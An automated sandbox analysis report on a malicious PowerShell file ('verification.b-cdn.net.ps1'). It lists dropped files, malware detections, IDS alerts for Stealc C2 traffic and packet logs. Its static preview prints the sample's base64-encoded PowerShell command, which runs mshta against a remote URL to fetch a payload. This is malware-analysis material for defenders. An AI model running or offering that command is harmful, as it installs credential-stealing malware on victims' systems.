SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ad3omf24.llk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ljj2orxh.414.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ljwvbyc1.cj5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yqdhgaji.x02.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\0SmartAssem.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	14349824
Entropy (8bit):	6.285808885259456
Encrypted:	false
SSDEEP:	98304:lFU3kOJpPTAGHhwaWHUNpG76mgW7IAiwBGrOFqTwEiPgIaWFyOZN/6xO:C9HhW0NpG7Rg2wOFqTJQgIaWsO
MD5:	517C4A0A27D1C022A3319AF316407810
SHA1:	70A976773A8C604EE8A22E50FFE372375B39E15B
SHA-256:	97D308C2B061CA49A8834DFD527A1485442AAB95060AD69E54BF034E8A043C67
SHA-512:	939DDB011DCC17DEBC691327EDD8ED1E90600C2D31AD828AF638C73E96EC82C598E6C19BD711B8ED95CF9004FD38E7D98229C2F7CCBEA3065ED85792BF40B265
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GoInjector_2, Description: Yara detected Go Injector, Source: C:\Users\user\AppData\Roaming\0SmartAssem.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d......................$.2b....................@.............................`.......[....`... .........................................N................o..................P..................................(...................\|...@............................text....0b......2b.................`.``.data....o...Pb..p...6b.............@.`..rdata....m...h...m...h.............@.`@.pdata.............................@.0@.xdata..D............V..............@.0@.bss....@.............................`..edata..N............d..............@.0@.idata...............f..............@.0..CRT....p............z..............@.@..tls.................\|..............@.@..rsrc....o.......p...~..............@.0..reloc.......P......................@.0B................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7320113956637586
Encrypted:	false
SSDEEP:	96:CkWz33CxHolkvhkvCCtclFZpX7eHZlFZpX7THL:CksyIRgFZp2FZpz
MD5:	BE45883BE1AEDEDE6460C3D20A0DD5A8
SHA1:	C88CA79E6F65EC408F21DE15C55431AB015152FB
SHA-256:	940BE881148060BA4BDCF6D2A2888AAFCBACFAB5C1E972EC004E8D708A64385B
SHA-512:	252E22EAFEE5FCF7CC2096C6954E7EBE6F43597FEF3224158B496DE2E9FCC71A80AC22CF8E7A8E4DDFFC79103BF57B422BE9F8039BDDFFC2EE3E078F5D2ADA4A
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....]. H...z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....lJ`.H....z. H.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y<............................%..A.p.p.D.a.t.a...B.V.1......Y:...Roaming.@......CW.^.Y:............................ ..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Y=...........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWS`..Windows.@......CW.^DWS`..........................i...W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^.Y=.....Q...........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L775XEX050LL0E7YAOIM.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6221
Entropy (8bit):	3.7320113956637586
Encrypted:	false
SSDEEP:	96:CkWz33CxHolkvhkvCCtclFZpX7eHZlFZpX7THL:CksyIRgFZp2FZpz
MD5:	BE45883BE1AEDEDE6460C3D20A0DD5A8
SHA1:	C88CA79E6F65EC408F21DE15C55431AB015152FB
SHA-256:	940BE881148060BA4BDCF6D2A2888AAFCBACFAB5C1E972EC004E8D708A64385B
SHA-512:	252E22EAFEE5FCF7CC2096C6954E7EBE6F43597FEF3224158B496DE2E9FCC71A80AC22CF8E7A8E4DDFFC79103BF57B422BE9F8039BDDFFC2EE3E078F5D2ADA4A
Malicious:	false
Preview:	...................................FL..................F.".. ...-/.v....]. H...z.:{.............................:..DG..Yr?.D..U..k0.&...&......vk.v....lJ`.H....z. H.......t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y<............................%..A.p.p.D.a.t.a...B.V.1......Y:...Roaming.@......CW.^.Y:............................ ..R.o.a.m.i.n.g.....\.1.....DW.N..MICROS~1..D......CW.^.Y=...........................9D..M.i.c.r.o.s.o.f.t.....V.1.....DWS`..Windows.@......CW.^DWS`..........................i...W.i.n.d.o.w.s.......1.....CW.^..STARTM~1..n......CW.^DW.`....................D.....=X..S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1.....DW.N..Programs..j......CW.^DW.`....................@.........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......O.K..WINDOW~1..V......CW.^DW.`..........................d...W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......O.I .WINDOW~1.LNK..^......CW.^.Y=.....Q...........

C:\Users\user\AppData\Roaming\Qt5PrintSupportVBox.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	332992
Entropy (8bit):	6.5543525498940065
Encrypted:	false
SSDEEP:	6144:Y08qkPN+UpD3lQCt2SI6JgEuA2GqWss4i+1gr7pGZmS0bZqXxtUPtYq5o5CT+CcN:Y0NsIUpDT2WgEjA/b
MD5:	6615A634804DFA5071EFA1502EDA3A2B
SHA1:	4AAAFC2F1018775B27A9305D01637437E127FCCF
SHA-256:	056AB54B2A424D420637C2E44463813E7B3247222D7E907A1F34E22B1726AE95
SHA-512:	19F48E08D8FB863E7387FC05B6F8A9C0B90E9FE86D5950F36265BBC746B20A723A9EDFD1E1C60BA1000B9934424A8F27EF3B5766BBE378373097A3384AAA0DB9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........7f..V...V...V.......V..09...V..09...V..09...V..09...V..>...V..~&...V...V...R..~&...V..~&...V..~&...V...V...V..~&...V..Rich.V..........PE..d...%.l`.........." ................................................................(...............................................0>...q.......................&.......Z......P.......T.......................(...P...0...............( ...........................text...O........................... ..`.rdata..............................@..@.data................p..............@....pdata...&.......(...~..............@..@.rsrc...............................@..@.reloc..P...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Qt5SqlVBox.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	224032
Entropy (8bit):	6.519383044005073
Encrypted:	false
SSDEEP:	3072:gFgYgUFb6RWyLGttBrz7UVCoAsoRrXaZqb/Lh9VEyIXveGtGgCUF:CgzU5lyWcCoKr9/LhrEyIXveGtGcF
MD5:	BBC454DFBD919CE1524E75478582C04D
SHA1:	4A331B6DC29C28A0D4FBEF90225448B88FD2A6FD
SHA-256:	EAA9EFDE1704FA6ABBEF9878EECFA386E89003F23E07ADCAF641A6C741893BA1
SHA-512:	0A41EDB08378C6930BB6D6D6E951D550129DCB07886CFC636E28903C32B8DFE49124CFFC852BC9F93058D3679C4F775D70E9F869760F82A5AF54D9DCB303A013
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........5.[...[...[......[.~.Z...[...Z...[.~.^...[.~._...[.~.X...[.0.Z...[...Z...[.0.^...[.0.[...[.0....[......[.0.Y...[.Rich..[.........PE..d....l`.........." .........F......d........................................`......+{...............................................N...m..X...x....@...........'...... U...P..(...h...T.......................(.......0............................................text............................... ..`.rdata..2...........................@..@.data...............................@....pdata...'.......(..................@..@.rsrc........@......................@..@.reloc..(....P......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\VBoxSharedClipboard.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	69688
Entropy (8bit):	6.51659434190219
Encrypted:	false
SSDEEP:	1536:B+yAXGB5LXoJG+pT42hujrgmCETk+n7M5x0:B1AWBxYl2tTk+nZ
MD5:	A802413B13E45C7D526705CBD3974AE5
SHA1:	2A9A4AC71150AF10718184FA283F7B8639685D57
SHA-256:	9FDC76DA45016187D325B992B83980227112BA14ED1CB3A2DEA8929046163A13
SHA-512:	41D6C870F387C84470E377E71EAB9BBCDEAB5F145BDF79C4ECE5C4825D7E9E74C88F6A81D53C87D83DD508A51203DDB8E95B2E425529CA67023C52DA1BDB3694
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ..................0...@.......https://www.virtualbox.org/ ....VirtualBox executable built for NT or later...$.......!..L.!VBoxa..%v..%v..%v......!v..,...!v.....'v..w...5v..w...-v..w...&v..%v..]v..w..."v..... v.....$v...z.$v.....$v..Rich%v..................PE..d....:.e.........." .....n...X.......s.....................................................A........................................0...\....................... .......8L.............T...........................0...8............................................text....l.......n.................. ..`.rdata...<.......>...r..............@..@.data...............................@....pdata.. ...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\VBoxSharedFolders.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	80104
Entropy (8bit):	6.692796481442946
Encrypted:	false
SSDEEP:	1536:lBIMzx4IWhzEqAh+e/Zt+LJgKr6TuZ7CO7EO0ydGjIxU:UMaJzEqA7Z2gKr6TuZ7d7EO0J7
MD5:	93F9F9335E95AEBD2C914971C9F6BC58
SHA1:	88F31CD750004A830285FC25F4264E94C5A8496A
SHA-256:	45B9BD24A786F5F9EAF3782F1C1D659FCCEE5E9B6AC941C756C43F09F0D10819
SHA-512:	117B8A16B0D0AB2B70AEAB2C2375D0CE9CBC0D96F812E90DD1FB330AF4EE18EEDEC82007133F5A35B2055580CC2B780C547E57A96FA69993CCE7FF0EA111CB3A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ..................0...@.......https://www.virtualbox.org/ ....VirtualBox executable built for NT or later...$.......!..L.!VBox...`Xe.3Xe.3Xe.3...2Ze.3Q.m3Ze.3...2Ze.3...2Se.3...2Pe.3...2\e.3Xe.34e.3...2[e.3...2^e.3...2Ye.3...3Ye.3...2Ye.3RichXe.3................PE..d....:.e.........." .........l...... ........................................@.............A............................................X...8...d.... ...................L...0..0...H...T...............................8...............@............................text.............................. ..`.rdata..`>.......@..................@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..0....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\VBoxSupLib.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22928
Entropy (8bit):	7.128375733908998
Encrypted:	false
SSDEEP:	384:4XDxDEu03c+UHeMsxZB+FGs1DGiyZegiCAM+o/8E9VF0NywQB:k55F/1DGFnAMxkEN
MD5:	9636CD28F536DD3FB438C866F28610A9
SHA1:	AF0A1E853CF9ABFAD78E57063258AF7922726140
SHA-256:	34E8BD19A7DD241A1275A3CF77A8A59A7DF1FC529F864F92D8548CC7E0429B26
SHA-512:	9ED50BEC2DAFA8D759615B9CB79D1862A7BF7F947E8123D56C9D09E899B59127D892DAB66B23D8706DB3AC1472C4B06C85D2357EF996B65C54C4FD4A1FDD3C90
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:
Preview:	MZ..................0...@.......https://www.virtualbox.org/ ....VirtualBox executable built for NT or later...$.......!..L.!VBoxY.....@...@...@..A...@...A...@...A...@...E...@...@...@...@...@.......@...B...@.Rich..@.........................PE..d...B:.e.........." ................@........................................P......................................................0"..T...."..<....@.......0...........I..........@ ..T............................................ ..@............................text............................... ..`.rdata....... ......................@..@.pdata.......0......................@..@.rsrc........@......................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\VBoxVMM.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5158168
Entropy (8bit):	5.277900307934323
Encrypted:	false
SSDEEP:	49152:WZ9hwg0+5rUYATyBtsP3kpbNAqW9He4avD4VE4NOhAJWrTHSScjLAWqYDadZLY7:HOrgyBDAqWle9G33A2Oi
MD5:	DBFCDD86BDA68AB53D8B50329EF713F5
SHA1:	3A89A0C2DAA71269E1797E1BBB9F6D65BC7DE381
SHA-256:	DDEBDB740915CDB367C3ADF61D62F7B9CF1C7535CC8EDBB7D80C9B8ADD055AFA
SHA-512:	A57C7EC2096A0368665F624FBF9A7574081F86F9F2E04D8A9405E67FCA7295FDE60CABB543A617C0DD3B48DFE52E0F458035BFF10D7C00F9358471ED5E5A1D4D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ..................0...@.......https://www.virtualbox.org/ ....VirtualBox executable built for NT or later...$.......!..L.!VBox.\.z.=z).=z).=z)sO{(.=z).E.).=z).H~(.=z).H{(.=z).R.).=z).H.(.=z).H~(.=z).Hy(.=z).={).?z).H{(.=z).H.(:=z).=z).=z).Hz(.=z).H.).=z).Hx(.=z)Rich.=z)........PE..d....:.e.........." .....J ...-..... .........................................M.....&.N....A..........................................I.......J.......L......@K......JM..k....L.....h]H.T............................]H.8............` ..............................text...MI ......J ................. ..`.rdata......` .....N .............@..@.data...@....0K.......K.............@....pdata.......@K......$K.............@..@.rsrc.........L.......L.............@..@.reloc........L.......L.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\smart1.zip

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	7245419
Entropy (8bit):	7.990049890250382
Encrypted:	true
SSDEEP:	196608:MSMjxkmxt+ui5tDAyyr4pF67C40b+a+jkE3F6G8slsY8/uDAvz/b5i:MVjxbt+uibcyOWoW40bV+fAG8Ot8/uks
MD5:	FF248A4222851B97D522117737C68BE7
SHA1:	5BE3C3B32D61134CB2380A9E15D1E0468DA39415
SHA-256:	038FAD0CD10C3CF36E3640A2EA4C079F83C7F6133E400407773BF804BC1C5F49
SHA-512:	59F4565F74B59DD09ECE6EF36CF7D40FC6A1D7D1AE0FA8D93BC35638B087EC066553414D239F99D146FA7CE018CED44C8DB95DD70918BDB1D56B936C7BF49C1C
Malicious:	false
Preview:	PK........p..X..).H..........Qt5PrintSupportVBox.dll.\|{\|.e..L...R'U....7hQ.J]....@..5.X@...+B.T.J.i.........wq."B).))m...^@..+.U)e-....9..d.........W2.....<.L.2..q......8.....?+.q.....[.m...{..N~d..`..g...=...S.y..<d.Q8...T{..#.M{..II...........z....O.o......m..o.m.>q.........>{}.m...n...`....z.s.{.....V.....G.'#>..O..=87..tJ.V..]gO4]v5..0z.Du.i.g.=.....).~>6]...-$...q.....t...;.\.t..... ........-\...[i.c...yzp\.I.w/.._.)...\|...4....s.v...{......$#..>0<............&W..M<...!g....D...e.[`...._.:...Qp..l.~..3f...8&........=4eZ>G2.T.+;......O...\.9..w.h%T..\|l.Z..P.........u.;..;..C?....w.8) ..o...7C.@R.A..U.6..........o........`..Tv...vI>..O\|....%.........h..q..(}.aL........@..}....%.__.~.O.]..T.b...0...T........u.i.u..l..(..O...s..x...f.&Sa..<.....i..D..@.....%..ob.... ..K!.x`XU.WJ..E..8....a.....f..owI.+q.*6...Z..2".A......P._.P..:..+..Jt......8.K.\.2H.^Vh..0,.[#..o#.o...b'S>'..7..O .N...C..':$....ux...q..X.K..g......Z.....":Q...\|

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with no line terminators
Entropy (8bit):	4.305372738668802
TrID:
File name:	verification.b-cdn.net.ps1
File size:	139 bytes
MD5:	4c99ba8c0fcf994162c991b2b6601509
SHA1:	4790b36cdbbededed079473ff1c5c34637f2a2f6
SHA256:	8d80e5c7d07aef7d4565f4ddc61d3fc5819a5ea68f2d5282e6ae3e5e17d60e3d
SHA512:	7911fb9f45825b46a6ea43b96754147d8a0d0ab48eacb1169ee29bfcc8fe93ac28c6ba4eb3f62c1599ef425749447c946412d9ac1cfdedc72d73681447168e2c
SSDEEP:	3:VSJJLNyAmarBO/tmt55akqizkVkoTMRk8nbPROkJ+Eg9qYn:snyuk854kqizkVkiQfOkUE2
TLSH:	74C02B085038684D03DAE53008385D4F2103CB39D7381339EC4100C80D10184F31130C
File Content Preview:	powershell.exe -eC bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AYgBpAGQAdgBlAHIAdABpAHMAZQByAC4AYgAtAGMAZABuAC4AbgBlAHQALwBzAG0AYQByAHQAMQAiAA==

File Icon


Icon Hash:	3270d6baae77db44

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-10T19:10:37.251997+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49743	80	192.168.2.4	193.176.153.234
2024-08-10T19:10:02.529769+0200	TCP	2026434	ET MALWARE VBScript Redirect Style Exe File Download	1	443	49730	185.93.1.250	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 10, 2024 19:10:01.513389111 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:01.513431072 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:01.513499975 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:01.528223991 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:01.528255939 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.169756889 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.169826984 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.220813036 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.220834970 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.221333981 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.221393108 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.223481894 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.264503956 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.344274998 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.344333887 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.344350100 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.344362974 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.344393015 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.344422102 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.412301064 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.412334919 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.412373066 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.412405014 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.412422895 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.412429094 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.412457943 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.412487030 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.438540936 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.438597918 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.438632965 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.438659906 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.438683033 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.438711882 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.443073988 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.443136930 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.443156958 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.443166018 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.443201065 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.443212032 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.529860973 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.529918909 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.529939890 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.529958963 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.529974937 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.529995918 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.530924082 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.530982971 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.531009912 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.531014919 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.531091928 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.531410933 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.533588886 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.533622026 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.533663034 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.533668995 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.533693075 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.533721924 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.535445929 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.535468102 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.535521030 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.535527945 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.535556078 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.535573959 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.641370058 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.641443968 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.641489983 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.641510963 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.641525030 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.641604900 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.641612053 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.641634941 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.641664982 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.641689062 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.641689062 CEST	49730	443	192.168.2.4	185.93.1.250
Aug 10, 2024 19:10:02.641712904 CEST	443	49730	185.93.1.250	192.168.2.4
Aug 10, 2024 19:10:02.641742945 CEST	49730	443	192.168.2.4	185.93.1.250
